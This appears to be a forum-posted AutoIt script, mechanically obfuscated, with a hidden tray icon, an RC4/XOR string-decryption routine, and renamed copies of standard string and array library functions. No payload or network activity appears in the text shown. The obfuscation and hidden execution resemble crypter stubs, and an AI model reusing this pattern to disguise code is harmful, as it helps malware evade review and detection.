PHP Code:
#NoTrayIcon
Func Fn0001($__01)
If StringLeft($__01, 2) = "0x" Then Return BinaryToString($__01)
Return BinaryToString("0x" & $__01)
EndFunc
Func Fn0002($__01, $__02, $__03, $__04 = -1)
Local $locVar0001 = ""
If $__04 = Default OR $__04 = -1 Then $locVar0001 = "(?i)"
Local $locVar0002 = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
$__02 = StringRegExpReplace($__02, $locVar0002, "\\$1")
$__03 = StringRegExpReplace($__03, $locVar0002, "\\$1")
If $__02 = "" Then $__02 = "\A"
If $__03 = "" Then $__03 = "\z"
Local $locVar0003 = StringRegExp($__01, "(?s)" & $locVar0001 & $__02 & "(.*?)" & $__03, 3)
If @error Then Return SetError(1, 0, 0)
Return $locVar0003
EndFunc
Func Fn0003($__01, $__02, $__03, $__04 = 1)
If $__01 <> 0 AND $__01 <> 1 Then
SetError(1, 0, "")
ElseIf $__02 = "" OR $__03 = "" Then
SetError(1, 0, "")
Else
If Number($__04) <= 0 OR Int($__04) <> $__04 Then $__04 = 1
Local $locVar0001
Local $locVar0002
Local $locVar0003
Local $locVar0004
Local $locVar0005[0x00000100][2]
Local $locVar0006
Local $locVar0007
Local $locVar0008
Local $locVar0009
Local $locVar0010
Local $locVar0011
Local $locVar0012
If $__01 = 1 Then
For $a5c50d03d61 = 0 To $__04 Step 1
$locVar0003 = ""
$locVar0002 = ""
$locVar0001 = ""
For $locVar0003 = 1 To StringLen($__02)
If $locVar0002 = StringLen($__03) Then
$locVar0002 = 1
Else
$locVar0002 += 1
EndIf
$locVar0001 = $locVar0001 & Chr(BitXOR(Asc(StringMid($__02, $locVar0003, 1)), Asc(StringMid($__03, $locVar0002, 1)), 0x000000ff))
Next
$__02 = $locVar0001
$locVar0006 = ""
$locVar0007 = 0
$locVar0008 = ""
$locVar0009 = ""
$locVar0010 = ""
$locVar0012 = ""
$locVar0011 = ""
$locVar0004 = ""
$locVar0005 = ""
Local $locVar0005[0x00000100][2]
For $locVar0006 = 0 To 0x000000ff
$locVar0005[$locVar0006][1] = Asc(StringMid($__03, Mod($locVar0006, StringLen($__03)) + 1, 1))
$locVar0005[$locVar0006][0] = $locVar0006
Next
For $locVar0006 = 0 To 0x000000ff
$locVar0007 = Mod(($locVar0007 + $locVar0005[$locVar0006][0] + $locVar0005[$locVar0006][1]), 0x00000100)
$locVar0004 = $locVar0005[$locVar0006][0]
$locVar0005[$locVar0006][0] = $locVar0005[$locVar0007][0]
$locVar0005[$locVar0007][0] = $locVar0004
Next
For $locVar0006 = 1 To StringLen($__02)
$locVar0008 = Mod(($locVar0008 + 1), 0x00000100)
$locVar0009 = Mod(($locVar0009 + $locVar0005[$locVar0008][0]), 0x00000100)
$locVar0010 = $locVar0005[Mod(($locVar0005[$locVar0008][0] + $locVar0005[$locVar0009][0]), 0x00000100)][0]
$locVar0012 = BitXOR(Asc(StringMid($__02, $locVar0006, 1)), $locVar0010)
$locVar0011 &= Hex($locVar0012, 2)
Next
$__02 = $locVar0011
Next
Else
For $a5c50d03d61 = 0 To $__04 Step 1
$locVar0007 = 0
$locVar0008 = ""
$locVar0009 = ""
$locVar0010 = ""
$locVar0012 = ""
$locVar0011 = ""
$locVar0004 = ""
$locVar0005 = ""
Local $locVar0005[0x00000100][2]
For $locVar0006 = 0 To 0x000000ff
$locVar0005[$locVar0006][1] = Asc(StringMid($__03, Mod($locVar0006, StringLen($__03)) + 1, 1))
$locVar0005[$locVar0006][0] = $locVar0006
Next
For $locVar0006 = 0 To 0x000000ff
$locVar0007 = Mod(($locVar0007 + $locVar0005[$locVar0006][0] + $locVar0005[$locVar0006][1]), 0x00000100)
$locVar0004 = $locVar0005[$locVar0006][0]
$locVar0005[$locVar0006][0] = $locVar0005[$locVar0007][0]
$locVar0005[$locVar0007][0] = $locVar0004
Next
For $locVar0006 = 1 To StringLen($__02) Step 2
$locVar0008 = Mod(($locVar0008 + 1), 0x00000100)
$locVar0009 = Mod(($locVar0009 + $locVar0005[$locVar0008][0]), 0x00000100)
$locVar0010 = $locVar0005[Mod(($locVar0005[$locVar0008][0] + $locVar0005[$locVar0009][0]), 0x00000100)][0]
$locVar0012 = BitXOR(Dec(StringMid($__02, $locVar0006, 2)), $locVar0010)
$locVar0011 = $locVar0011 & Chr($locVar0012)
Next
$__02 = $locVar0011
$locVar0003 = ""
$locVar0002 = ""
$locVar0001 = ""
For $locVar0003 = 1 To StringLen($__02)
If $locVar0002 = StringLen($__03) Then
$locVar0002 = 1
Else
$locVar0002 += 1
EndIf
$locVar0001 &= Chr(BitXOR(Asc(StringMid($__02, $locVar0003, 1)), Asc(StringMid($__03, $locVar0002, 1)), 0x000000ff))
Next
$__02 = $locVar0001
Next
EndIf
Return $__02
EndIf
EndFunc
Func Fn0004($__01, $__02, $__03 = 0)
If $__03 > 0 Then
$__01 = StringReplace($__01, $__02, Chr(0), $__03)
$__02 = Chr(0)
ElseIf $__03 < 0 Then
Local $locVar0001 = StringInStr($__01, $__02, 0, $__03)
If $locVar0001 Then
$__01 = StringLeft($__01, $locVar0001 - 1)
EndIf
EndIf
Return StringSplit($__01, $__02, 3)
EndFunc
Func Fn0005($__01, $__02, $__03)
Local $locVar0001, $locVar0002, $locVar0003
If $__01 = "" OR (NOT IsString($__01)) Then
Return SetError(1, 0, $__01)
ElseIf $__02 = "" OR (NOT IsString($__01)) Then
Return SetError(2, 0, $__01)
Else
$locVar0001 = StringLen($__01)
If (Abs($__03) > $locVar0001) OR (NOT IsInt($__03)) Then
Return SetError(3, 0, $__01)
EndIf
EndIf
If $__03 = 0 Then
Return $__02 & $__01
ElseIf $__03 > 0 Then
$locVar0002 = StringLeft($__01, $__03)
$locVar0003 = StringRight($__01, $locVar0001 - $__03)
Return $locVar0002 & $__02 & $locVar0003
ElseIf $__03 < 0 Then
$locVar0002 = StringLeft($__01, Abs($locVar0001 + $__03))
$locVar0003 = StringRight($__01, Abs($__03))
Return $locVar0002 & $__02 & $locVar0003
EndIf
EndFunc
Func Fn0006($__01)
Local $locVar0001 = 0
Local $locVar0002 = 1
Local $locVar0003 = ""
Local $locVar0004
For $locVar0001 = 1 To StringLen($__01)
$locVar0004 = StringMid($__01, $locVar0001, 1)
Select
Case $locVar0002 = 1
If StringRegExp($locVar0004, "[a-zA-ZÀ-ÿšœžŸ]") Then
$locVar0004 = StringUpper($locVar0004)
$locVar0002 = 0
EndIf
Case NOT StringRegExp($locVar0004, "[a-zA-ZÀ-ÿšœžŸ]")
$locVar0002 = 1
Case Else
$locVar0004 = StringLower($locVar0004)
EndSelect
$locVar0003 &= $locVar0004
Next
Return $locVar0003
EndFunc
Func Fn0007($__01, $__02)
Local $locVar0001
Select
Case NOT StringIsInt($__02)
SetError(1)
Return ""
Case StringLen($__01) < 1
SetError(1)
Return ""
Case $__02 <= 0
SetError(1)
Return ""
Case Else
For $a26d0304a57 = 1 To $__02
$locVar0001 &= $__01
Next
Return $locVar0001
EndSelect
EndFunc
Func Fn0008($__01)
Local $locVar0001 = StringLen($__01)
If $locVar0001 < 1 Then Return SetError(1, 0, "")
Local $locVar0002 = DllStructCreate("char[" & $locVar0001 + 1 & "]")
DllStructSetData($locVar0002, 1, $__01)
Local $locVar0003 = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "ptr", DllStructGetPtr($locVar0002))
If @error OR $locVar0003[0] = 0 Then Return SetError(2, 0, "")
Return DllStructGetData($locVar0002, 1)
EndFunc
Func Fn0009($__01)
Return Hex(StringToBinary($__01))
EndFunc
Func Fn0010(ByRef $__01, $__02)
If NOT IsArray($__01) Then Return SetError(1, 0, -1)
If UBound($__01, 0) <> 1 Then Return SetError(2, 0, -1)
Local $locVar0001 = UBound($__01)
ReDim $__01[$locVar0001 + 1]
$__01[$locVar0001] = $__02
Return $locVar0001
EndFunc
Func Fn0011(Const ByRef $__01, $__02, $__03 = 0, $__04 = 0)
If NOT IsArray($__01) Then Return SetError(1, 0, -1)
If UBound($__01, 0) <> 1 Then Return SetError(5, 0, -1)
Local $locVar0001 = UBound($__01) - 1
If $__04 < 1 OR $__04 > $locVar0001 Then $__04 = $locVar0001
If $__03 < 0 Then $__03 = 0
If $__03 > $__04 Then Return SetError(4, 0, -1)
Local $locVar0002 = Int(($__04 + $__03) / 2)
If $__01[$__03] > $__02 OR $__01[$__04] < $__02 Then Return SetError(2, 0, -1)
While $__03 <= $locVar0002 AND $__02 <> $__01[$locVar0002]
If $__02 < $__01[$locVar0002] Then
$__04 = $locVar0002 - 1
Else
$__03 = $locVar0002 + 1
EndIf
$locVar0002 = Int(($__04 + $__03) / 2)
WEnd
If $__03 > $__04 Then Return SetError(3, 0, -1)
Return $locVar0002
EndFunc
Func Fn0012(ByRef $__01, $__02, $__03 = "")
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
If UBound($__01, 0) <> 1 Then Return SetError(2, 0, 0)
Local $locVar0001 = UBound($__01)
Local $locVar0002 = $__02
Local $locVar0003[$locVar0002]
For $a3211e0135f = 0 To $locVar0002 - 1
$locVar0003[$a3211e0135f] = $a3211e0135f
Next
Local $locVar0004 = Fn0037($locVar0001, $locVar0002)
Local $locVar0005 = $locVar0004
Local $locVar0006[$locVar0004 + 1]
$locVar0006[0] = $locVar0004
Local $locVar0007 = 1
While $locVar0005 > 0
Fn0038($locVar0001, $locVar0002, $locVar0005, $locVar0004, $locVar0003)
For $a3211e0135f = 0 To $__02 - 1
$locVar0006[$locVar0007] &= $__01[$locVar0003[$a3211e0135f]] & $__03
Next
If $__03 <> "" Then $locVar0006[$locVar0007] = StringTrimRight($locVar0006[$locVar0007], 1)
$locVar0007 += 1
WEnd
Return $locVar0006
EndFunc
Func Fn0013(ByRef $__01, Const ByRef $__02, $__03 = 0)
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
If NOT IsArray($__02) Then Return SetError(2, 0, 0)
If UBound($__01, 0) <> 1 Then
If UBound($__02, 0) <> 1 Then Return SetError(5, 0, 0)
Return SetError(3, 0, 0)
EndIf
If UBound($__02, 0) <> 1 Then Return SetError(4, 0, 0)
Local $locVar0001 = UBound($__01) - $__03, $locVar0002 = UBound($__02)
ReDim $__01[$locVar0001 + $locVar0002]
For $a3211e0135f = $__03 To $locVar0002 - 1
$__01[$locVar0001 + $a3211e0135f] = $__02[$a3211e0135f]
Next
Return $locVar0001 + $locVar0002
EndFunc
Func Fn0014($__01, $__02 = 0, $__03 = 0, $__04 = 0, $__05 = 0, $__06 = 0, $__07 = 0, $__08 = 0, $__09 = 0, $__10 = 0, $__11 = 0, $__12 = 0, $__13 = 0, $__14 = 0, $__15 = 0, $__16 = 0, $__17 = 0, $__18 = 0, $__19 = 0, $__20 = 0, $__21 = 0)
Local $locVar0001[0x00000015] = [$__01, $__02, $__03, $__04, $__05, $__06, $__07, $__08, $__09, $__10, $__11, $__12, $__13, $__14, $__15, $__16, $__17, $__18, $__19, $__20, $__21]
ReDim $locVar0001[@NumParams]
Return $locVar0001
EndFunc
Func Fn0015(ByRef $__01, $__02)
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
Local $locVar0001 = UBound($__01, 1) - 1
If NOT $locVar0001 Then
$__01 = ""
Return 0
EndIf
If $__02 < 0 Then $__02 = 0
If $__02 > $locVar0001 Then $__02 = $locVar0001
Switch UBound($__01, 0)
Case 1
For $a3211e0135f = $__02 To $locVar0001 - 1
$__01[$a3211e0135f] = $__01[$a3211e0135f + 1]
Next
ReDim $__01[$locVar0001]
Case 2
Local $locVar0002 = UBound($__01, 2) - 1
For $a3211e0135f = $__02 To $locVar0001 - 1
For $a0971001717 = 0 To $locVar0002
$__01[$a3211e0135f][$a0971001717] = $__01[$a3211e0135f + 1][$a0971001717]
Next
Next
ReDim $__01[$locVar0001][$locVar0002 + 1]
Case Else
Return SetError(3, 0, 0)
EndSwitch
Return $locVar0001
EndFunc
Func Fn0016(Const ByRef $__01, $__02 = "Array: ListView Display", $__03 = -1, $__04 = 0, $__05 = "", $__06 = "|", $__07 = "")
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
Local $locVar0001 = UBound($__01, 0), $locVar0002 = UBound($__01, 1) - 1, $locVar0003 = UBound($__01, 2) - 1
If $locVar0001 > 2 Then Return SetError(2, 0, 0)
If $__05 = "" Then $__05 = Chr(0x0000007c)
If Fn0027($__01, $__05, 0, 0, 0, 1) <> -1 Then
For $a1f91004f25 = 1 To 0x000000ff
If $a1f91004f25 >= 0x00000020 AND $a1f91004f25 <= 0x0000007f Then ContinueLoop
Local $locVar0004 = Fn0027($__01, Chr($a1f91004f25), 0, 0, 0, 1)
If $locVar0004 = -1 Then
$__05 = Chr($a1f91004f25)
ExitLoop
EndIf
Next
EndIf
Local $locVar0005, $locVar0006 = 0x00000040
Local $locVar0007 = 0x000000fa
Local $locVar0008 = Opt("GUIOnEventMode", 0), $locVar0009 = Opt("GUIDataSeparatorChar", $__05)
If $locVar0003 < 0 Then $locVar0003 = 0
If $__04 Then
$locVar0005 = $locVar0002
$locVar0002 = $locVar0003
$locVar0003 = $locVar0005
EndIf
If $locVar0003 > $locVar0007 Then $locVar0003 = $locVar0007
If $__03 < 1 Then $__03 = $locVar0002
If $locVar0002 > $__03 Then $locVar0002 = $__03
If $__07 = "" Then
$__07 = "Row "
For $a3211e0135f = 0 To $locVar0003
$__07 &= $__05 & "Col " & $a3211e0135f
Next
EndIf
Local $locVar0010[$locVar0002 + 1]
For $a3211e0135f = 0 To $locVar0002
$locVar0010[$a3211e0135f] = "[" & $a3211e0135f & "]"
For $a0971001717 = 0 To $locVar0003
If $locVar0001 = 1 Then
If $__04 Then
$locVar0005 = $__01[$a0971001717]
Else
$locVar0005 = $__01[$a3211e0135f]
EndIf
Else
If $__04 Then
$locVar0005 = $__01[$a0971001717][$a3211e0135f]
Else
$locVar0005 = $__01[$a3211e0135f][$a0971001717]
EndIf
EndIf
$locVar0005 = StringReplace($locVar0005, $__05, $__06, 0, 1)
$locVar0010[$a3211e0135f] &= $__05 & $locVar0005
$locVar0005 = StringLen($locVar0005)
If $locVar0005 > $locVar0006 Then $locVar0006 = $locVar0005
Next
Next
$locVar0006 += 1
Local Const $locVar0011 = 0x00000066
Local Const $locVar0012 = 0x00000040
Local Const $locVar0013 = 0x00000200
Local Const $locVar0014 = 2
Local Const $locVar0015 = 4
Local Const $locVar0016 = -3
Local Const $locVar0017 = 4
Local Const $locVar0018 = 1
Local Const $locVar0019 = (0x00001000 + 0x0000001d)
Local Const $locVar0020 = (0x00001000 + 4)
Local Const $locVar0021 = (0x00001000 + 0x0000002c)
Local Const $locVar0022 = (0x00001000 + 0x0000004d)
Local Const $locVar0023 = (0x00001000 + 0x00000036)
Local Const $locVar0024 = (0x00001000 + 0x0000004c)
Local Const $locVar0025 = 0x00000020
Local Const $locVar0026 = 1
Local Const $locVar0027 = 8
Local Const $locVar0028 = 0x00000200
Local Const $locVar0029 = 0x00010000
Local Const $locVar0030 = 0x00020000
Local Const $locVar0031 = 0x00040000
Local Const $locVar0032 = "int Mask;int Item;int SubItem;int State;int StateMask;ptr Text;int TextMax;int Image;int Param;int Indent;int GroupID;int Columns;ptr pColumns"
Local $locVar0033 = BitOR($locVar0018, $locVar0017)
Local $locVar0034 = DllStructCreate("wchar Text[" & $locVar0006 & "]"), $locVar0035 = DllStructGetPtr($locVar0034)
Local $locVar0036 = DllStructCreate($locVar0032), $locVar0037 = DllStructGetPtr($locVar0036)
DllStructSetData($locVar0036, "Param", 0)
DllStructSetData($locVar0036, "Text", $locVar0035)
DllStructSetData($locVar0036, "TextMax", $locVar0006)
Local $locVar0038 = 0x00000280, $locVar0039 = 0x000001e0
Local $locVar0040 = GUICreate($__02, $locVar0038, $locVar0039, Default, Default, BitOR($locVar0031, $locVar0030, $locVar0029))
Local $locVar0041 = WinGetClientSize($locVar0040)
Local $locVar0042 = GUICtrlCreateListView($__07, 0, 0, $locVar0041[0], $locVar0041[1] - 0x0000001a, $locVar0027)
Local $locVar0043 = GUICtrlCreateButton("Copy Selected", 3, $locVar0041[1] - 0x00000017, $locVar0041[0] - 6, 0x00000014)
GUICtrlSetResizing($locVar0042, $locVar0011)
GUICtrlSetResizing($locVar0043, $locVar0014 + $locVar0015 + $locVar0012 + $locVar0013)
GUICtrlSendMsg($locVar0042, $locVar0023, $locVar0026, $locVar0026)
GUICtrlSendMsg($locVar0042, $locVar0023, $locVar0025, $locVar0025)
GUICtrlSendMsg($locVar0042, $locVar0023, $locVar0028, $locVar0028)
Local $locVar0044
For $a3211e0135f = 0 To $locVar0002
If GUICtrlCreateListViewItem($locVar0010[$a3211e0135f], $locVar0042) = 0 Then
$locVar0044 = StringSplit($locVar0010[$a3211e0135f], $__05)
DllStructSetData($locVar0034, "Text", $locVar0044[1])
DllStructSetData($locVar0036, "Item", $a3211e0135f)
DllStructSetData($locVar0036, "SubItem", 0)
DllStructSetData($locVar0036, "Mask", $locVar0033)
GUICtrlSendMsg($locVar0042, $locVar0022, 0, $locVar0037)
DllStructSetData($locVar0036, "Mask", $locVar0018)
For $a0971001717 = 2 To $locVar0044[0]
DllStructSetData($locVar0034, "Text", $locVar0044[$a0971001717])
DllStructSetData($locVar0036, "SubItem", $a0971001717 - 1)
GUICtrlSendMsg($locVar0042, $locVar0024, 0, $locVar0037)
Next
EndIf
Next
$locVar0038 = 0
For $a3211e0135f = 0 To $locVar0003 + 1
$locVar0038 += GUICtrlSendMsg($locVar0042, $locVar0019, $a3211e0135f, 0)
Next
If $locVar0038 < 0x000000fa Then $locVar0038 = 0x000000e6
$locVar0038 += 0x00000014
If $locVar0038 > @DesktopWidth Then $locVar0038 = @DesktopWidth - 0x00000064
WinMove($locVar0040, "", (@DesktopWidth - $locVar0038) / 2, Default, $locVar0038)
GUISetState(@SW_SHOW, $locVar0040)
While 1
Switch GUIGetMsg()
Case $locVar0016
ExitLoop
Case $locVar0043
Local $locVar0045 = ""
Local $locVar0046[1] = [0]
For $a3211e0135f = 0 To GUICtrlSendMsg($locVar0042, $locVar0020, 0, 0)
If GUICtrlSendMsg($locVar0042, $locVar0021, $a3211e0135f, 2) Then
$locVar0046[0] += 1
ReDim $locVar0046[$locVar0046[0] + 1]
$locVar0046[$locVar0046[0]] = $a3211e0135f
EndIf
Next
If NOT $locVar0046[0] Then
For $a2e32305d63 In $locVar0010
$locVar0045 &= $a2e32305d63 & @CRLF
Next
Else
For $a3211e0135f = 1 To UBound($locVar0046) - 1
$locVar0045 &= $locVar0010[$locVar0046[$a3211e0135f]] & @CRLF
Next
EndIf
ClipPut($locVar0045)
EndSwitch
WEnd
GUIDelete($locVar0040)
Opt("GUIOnEventMode", $locVar0008)
Opt("GUIDataSeparatorChar", $locVar0009)
Return 1
EndFunc
Func Fn0017(Const ByRef $__01, $__02, $__03 = 0, $__04 = 0, $__05 = 0, $__06 = 0, $__07 = 0)
$__03 = Fn0027($__01, $__02, $__03, $__04, $__05, $__06, 1, $__07)
If @error Then Return SetError(@error, 0, -1)
Local $locVar0001 = 0, $locVar0002[UBound($__01)]
Do
$locVar0002[$locVar0001] = $__03
$locVar0001 += 1
$__03 = Fn0027($__01, $__02, $__03 + 1, $__04, $__05, $__06, 1, $__07)
Until @error
ReDim $locVar0002[$locVar0001]
Return $locVar0002
EndFunc
Func Fn0018(ByRef $__01, $__02, $__03 = "")
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
If UBound($__01, 0) <> 1 Then Return SetError(2, 0, 0)
Local $locVar0001 = UBound($__01) + 1
ReDim $__01[$locVar0001]
For $a3211e0135f = $locVar0001 - 1 To $__02 + 1 Step -1
$__01[$a3211e0135f] = $__01[$a3211e0135f - 1]
Next
$__01[$__02] = $__03
Return $locVar0001
EndFunc
Func Fn0019(Const ByRef $__01, $__02 = 0, $__03 = 0, $__04 = 0)
Local $locVar0001 = Fn0020($__01, $__02, $__03, $__04)
If @error Then Return SetError(@error, 0, "")
Return $__01[$locVar0001]
EndFunc
Func Fn0020(Const ByRef $__01, $__02 = 0, $__03 = 0, $__04 = 0)
If NOT IsArray($__01) OR UBound($__01, 0) <> 1 Then Return SetError(1, 0, -1)
If UBound($__01, 0) <> 1 Then Return SetError(3, 0, -1)
Local $locVar0001 = UBound($__01) - 1
If $__04 < 1 OR $__04 > $locVar0001 Then $__04 = $locVar0001
If $__03 < 0 Then $__03 = 0
If $__03 > $__04 Then Return SetError(2, 0, -1)
Local $locVar0002 = $__03
If $__02 Then
For $a3211e0135f = $__03 To $__04
If Number($__01[$locVar0002]) < Number($__01[$a3211e0135f]) Then $locVar0002 = $a3211e0135f
Next
Else
For $a3211e0135f = $__03 To $__04
If $__01[$locVar0002] < $__01[$a3211e0135f] Then $locVar0002 = $a3211e0135f
Next
EndIf
Return $locVar0002
EndFunc
Func Fn0021(Const ByRef $__01, $__02 = 0, $__03 = 0, $__04 = 0)
Local $locVar0001 = Fn0022($__01, $__02, $__03, $__04)
If @error Then Return SetError(@error, 0, "")
Return $__01[$locVar0001]
EndFunc
Func Fn0022(Const ByRef $__01, $__02 = 0, $__03 = 0, $__04 = 0)
If NOT IsArray($__01) Then Return SetError(1, 0, -1)
If UBound($__01, 0) <> 1 Then Return SetError(3, 0, -1)
Local $locVar0001 = UBound($__01) - 1
If $__04 < 1 OR $__04 > $locVar0001 Then $__04 = $locVar0001
If $__03 < 0 Then $__03 = 0
If $__03 > $__04 Then Return SetError(2, 0, -1)
Local $locVar0002 = $__03
If $__02 Then
For $a3211e0135f = $__03 To $__04
If Number($__01[$locVar0002]) > Number($__01[$a3211e0135f]) Then $locVar0002 = $a3211e0135f
Next
Else
For $a3211e0135f = $__03 To $__04
If $__01[$locVar0002] > $__01[$a3211e0135f] Then $locVar0002 = $a3211e0135f
Next
EndIf
Return $locVar0002
EndFunc
Func Fn0023(ByRef $__01, $__02 = "")
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
If UBound($__01, 0) <> 1 Then Return SetError(2, 0, 0)
Local $locVar0001 = UBound($__01), $locVar0002 = 1, $locVar0003[$locVar0001], $locVar0004[1], $locVar0005 = 1
For $a3211e0135f = 0 To $locVar0001 - 1
$locVar0003[$a3211e0135f] = $a3211e0135f
Next
For $a3211e0135f = $locVar0001 To 1 Step -1
$locVar0002 *= $a3211e0135f
Next
ReDim $locVar0004[$locVar0002 + 1]
$locVar0004[0] = $locVar0002
Fn0036($__01, 0, $locVar0001, $__02, $locVar0003, $locVar0004, $locVar0005)
Return $locVar0004
EndFunc
Func Fn0024(ByRef $__01)
If (NOT IsArray($__01)) Then Return SetError(1, 0, "")
If UBound($__01, 0) <> 1 Then Return SetError(2, 0, "")
Local $locVar0001 = UBound($__01) - 1, $locVar0002 = $__01[$locVar0001]
If NOT $locVar0001 Then
$__01 = ""
Else
ReDim $__01[$locVar0001]
EndIf
Return $locVar0002
EndFunc
Func Fn0025(ByRef $__01, $__02, $__03 = 0)
If (NOT IsArray($__01)) Then Return SetError(1, 0, 0)
If UBound($__01, 0) <> 1 Then Return SetError(3, 0, 0)
Local $locVar0001 = UBound($__01) - 1
If IsArray($__02) Then
Local $locVar0002 = UBound($__02)
If ($locVar0002 - 1) > $locVar0001 Then Return SetError(2, 0, 0)
If $__03 Then
For $a3211e0135f = $locVar0001 To $locVar0002 Step -1
$__01[$a3211e0135f] = $__01[$a3211e0135f - $locVar0002]
Next
For $a3211e0135f = 0 To $locVar0002 - 1
$__01[$a3211e0135f] = $__02[$a3211e0135f]
Next
Else
For $a3211e0135f = 0 To $locVar0001 - $locVar0002
$__01[$a3211e0135f] = $__01[$a3211e0135f + $locVar0002]
Next
For $a3211e0135f = 0 To $locVar0002 - 1
$__01[$a3211e0135f + $locVar0001 - $locVar0002 + 1] = $__02[$a3211e0135f]
Next
EndIf
Else
If $__03 Then
For $a3211e0135f = $locVar0001 To 1 Step -1
$__01[$a3211e0135f] = $__01[$a3211e0135f - 1]
Next
$__01[0] = $__02
Else
For $a3211e0135f = 0 To $locVar0001 - 1
$__01[$a3211e0135f] = $__01[$a3211e0135f + 1]
Next
$__01[$locVar0001] = $__02
EndIf
EndIf
Return 1
EndFunc
Func Fn0026(ByRef $__01, $__02 = 0, $__03 = 0)
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
If UBound($__01, 0) <> 1 Then Return SetError(3, 0, 0)
Local $locVar0001, $locVar0002 = UBound($__01) - 1
If $__03 < 1 OR $__03 > $locVar0002 Then $__03 = $locVar0002
If $__02 < 0 Then $__02 = 0
If $__02 > $__03 Then Return SetError(2, 0, 0)
For $a3211e0135f = $__02 To Int(($__02 + $__03 - 1) / 2)
$locVar0001 = $__01[$a3211e0135f]
$__01[$a3211e0135f] = $__01[$__03]
$__01[$__03] = $locVar0001
$__03 -= 1
Next
Return 1
EndFunc
Func Fn0027(Const ByRef $__01, $__02, $__03 = 0, $__04 = 0, $__05 = 0, $__06 = 0, $__07 = 1, $__08 = -1)
If NOT IsArray($__01) Then Return SetError(1, 0, -1)
If UBound($__01, 0) > 2 OR UBound($__01, 0) < 1 Then Return SetError(2, 0, -1)
Local $locVar0001 = UBound($__01) - 1
If $__04 < 1 OR $__04 > $locVar0001 Then $__04 = $locVar0001
If $__03 < 0 Then $__03 = 0
If $__03 > $__04 Then Return SetError(4, 0, -1)
Local $locVar0002 = 1
If NOT $__07 Then
Local $locVar0003 = $__03
$__03 = $__04
$__04 = $locVar0003
$locVar0002 = -1
EndIf
Switch UBound($__01, 0)
Case 1
If NOT $__06 Then
If NOT $__05 Then
For $a3211e0135f = $__03 To $__04 Step $locVar0002
If $__01[$a3211e0135f] = $__02 Then Return $a3211e0135f
Next
Else
For $a3211e0135f = $__03 To $__04 Step $locVar0002
If $__01[$a3211e0135f] == $__02 Then Return $a3211e0135f
Next
EndIf
Else
For $a3211e0135f = $__03 To $__04 Step $locVar0002
If StringInStr($__01[$a3211e0135f], $__02, $__05) > 0 Then Return $a3211e0135f
Next
EndIf
Case 2
Local $locVar0004 = UBound($__01, 2) - 1
If $__08 > $locVar0004 Then $__08 = $locVar0004
If $__08 < 0 Then
$__08 = 0
Else
$locVar0004 = $__08
EndIf
For $a0971001717 = $__08 To $locVar0004
If NOT $__06 Then
If NOT $__05 Then
For $a3211e0135f = $__03 To $__04 Step $locVar0002
If $__01[$a3211e0135f][$a0971001717] = $__02 Then Return $a3211e0135f
Next
Else
For $a3211e0135f = $__03 To $__04 Step $locVar0002
If $__01[$a3211e0135f][$a0971001717] == $__02 Then Return $a3211e0135f
Next
EndIf
Else
For $a3211e0135f = $__03 To $__04 Step $locVar0002
If StringInStr($__01[$a3211e0135f][$a0971001717], $__02, $__05) > 0 Then Return $a3211e0135f
Next
EndIf
Next
Case Else
Return SetError(7, 0, -1)
EndSwitch
Return SetError(6, 0, -1)
EndFunc
Func Fn0028(ByRef $__01, $__02 = 0, $__03 = 0, $__04 = 0, $__05 = 0)
If NOT IsArray($__01) Then Return SetError(1, 0, 0)
Local $locVar0001 = UBound($__01) - 1
If $__04 < 1 OR $__04 > $locVar0001 Then $__04 = $locVar0001
If $__03 < 0 Then $__03 = 0
If $__03 > $__04 Then Return SetError(2, 0, 0)
Switch UBound($__01, 0)
Case 1
Fn0029($__01, $__03, $__04)
If $__02 Then Fn0026($__01, $__03, $__04)
Case 2
Local $locVar0002 = UBound($__01, 2) - 1
If $__05 > $locVar0002 Then Return SetError(3, 0, 0)
If $__02 Then
$__02 = -1
Else
$__02 = 1
EndIf
Fn0030($__01, $__02, $__03, $__04, $__05, $locVar0002)
Case Else
Return SetError(4, 0, 0)
EndSwitch
Return 1
EndFunc
Func Fn0029(ByRef $__01, ByRef $__02, ByRef $__03)
If $__03 <= $__02 Then Return
Local $locVar0001
If ($__03 - $__02) < 15 Then
Local $locVar0002
For $a3211e0135f = $__02 + 1 To $__03
$locVar0001 = $__01[$a3211e0135f]
If IsNumber($locVar0001) Then
For $a0971001717 = $a3211e0135f - 1 To $__02 Step -1
$locVar0002 = $__01[$a0971001717]
If ($locVar0001 >= $locVar0002 AND IsNumber($locVar0002)) OR (NOT IsNumber($locVar0002) AND StringCompare($locVar0001, $locVar0002) >= 0) Then ExitLoop
$__01[$a0971001717 + 1] = $locVar0002
Next
Else
For $a0971001717 = $a3211e0135f - 1 To $__02 Step -1
If (StringCompare($locVar0001, $__01[$a0971001717]) >= 0) Then ExitLoop
$__01[$a0971001717 + 1] = $__01[$a0971001717]
Next
EndIf
$__01[$a0971001717 + 1] = $locVar0001
Next
Return
EndIf
Local $locVar0003 = $__02, $locVar0004 = $__03, $locVar0005 = $__01[Int(($__02 + $__03) / 2)], $locVar0006 = IsNumber($locVar0005)
Do
If $locVar0006 Then
While ($__01[$locVar0003] < $locVar0005 AND IsNumber($__01[$locVar0003])) OR (NOT IsNumber($__01[$locVar0003]) AND StringCompare($__01[$locVar0003], $locVar0005) < 0)
$locVar0003 += 1
WEnd
While ($__01[$locVar0004] > $locVar0005 AND IsNumber($__01[$locVar0004])) OR (NOT IsNumber($__01[$locVar0004]) AND StringCompare($__01[$locVar0004], $locVar0005) > 0)
$locVar0004 -= 1
WEnd
Else
While (StringCompare($__01[$locVar0003], $locVar0005) < 0)
$locVar0003 += 1
WEnd
While (StringCompare($__01[$locVar0004], $locVar0005) > 0)
$locVar0004 -= 1
WEnd
EndIf
If $locVar0003 <= $locVar0004 Then
$locVar0001 = $__01[$locVar0003]
$__01[$locVar0003] = $__01[$locVar0004]
$__01[$locVar0004] = $locVar0001
$locVar0003 += 1
$locVar0004 -= 1
EndIf
Until $locVar0003 > $locVar0004
Fn0029($__01, $__02, $locVar0004)
Fn0029($__01, $locVar0003, $__03)
EndFunc
